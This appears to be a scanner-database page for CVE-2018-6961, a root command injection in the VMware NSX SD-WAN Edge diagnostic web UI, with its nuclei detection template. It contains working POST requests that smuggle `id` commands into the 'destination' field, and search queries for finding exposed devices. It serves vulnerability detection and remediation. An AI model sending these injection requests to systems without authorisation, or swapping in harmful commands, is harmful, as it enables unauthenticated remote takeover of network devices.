VMware NSX SD-WAN Edge - Command Injection

Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.

criticalseverity

8.1CVSS score

85.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

VMware NSX SD-WAN Edge (formerly VeloCloud Edge) before 3.1.2 contains an unauthenticated command injection in the local web UI diagnostic tools (Ping/Traceroute). This template detects it reliably by injecting 'id', 'whoami', and a random marker.

Impact

Successful exploitation allows unauthenticated remote code execution as root.

Fix

Upgrade to VMware SD-WAN Edge version 3.1.2 or later (diagnostic web UI component removed).

How to confirm it

Send: POST /scripts/ajaxPortal.lua
Positive when: status_code == 200 and contains(body, "\"status\":\"OK") and contains(content_type, "application/json") AND regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body) or regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body) && contains(body, '{{rand}}') AND not contains "UNKNOWN_COMMAND" or "Invalid command"

Run it with nuclei: nuclei -id CVE-2018-6961 -u <target>

The full check

id: CVE-2018-6961

info:
  name: VMware NSX SD-WAN Edge - Command Injection
  author: D3nverNg,thewindghost
  severity: critical
  description: |
    VMware NSX SD-WAN Edge (formerly VeloCloud Edge) before 3.1.2 contains an unauthenticated command injection in the local web UI diagnostic tools (Ping/Traceroute). This template detects it reliably by injecting 'id', 'whoami', and a random marker.
  impact: |
    Successful exploitation allows unauthenticated remote code execution as root.
  remediation: |
    Upgrade to VMware SD-WAN Edge version 3.1.2 or later (diagnostic web UI component removed).
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2018-0011.html
    - https://www.exploit-db.com/exploits/44959
    - https://nvd.nist.gov/vuln/detail/CVE-2018-6961
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-6961
    epss-score: 0.85459
    epss-percentile: 0.99724
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 2
    vendor: vmware
    product: nsx_sd-wan_edge
    shodan-query: title:"VeloCloud"
    fofa-query: title="VeloCloud"
  tags: cve,cve2018,vmware,nsx,sd-wan,velocloud,rce,kev,vkev,vuln

variables:
  rand: "{{rand_text_alphanumeric(10)}}"

http:
  - raw:
      - |
        POST /scripts/ajaxPortal.lua HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        destination=8.8.8.8`id`&source=ge1&test=TRACEROUTE&requestTimeout=900&auth_token=&_cmd=run_diagnostic

      - |
        POST /scripts/ajaxPortal.lua HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        destination=8.8.8.8$(id;echo {{rand}})&source=ge1&test=TRACEROUTE&requestTimeout=900&auth_token=&_cmd=run_diagnostic

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"status\":\"OK")'
          - 'contains(content_type, "application/json")'
        condition: and

      - type: dsl
        dsl:
          - "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)"
          - "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body) && contains(body, '{{rand}}')"
        condition: or

      - type: word
        part: body
        words:
          - "UNKNOWN_COMMAND"
          - "Invalid command"
        negative: true

References

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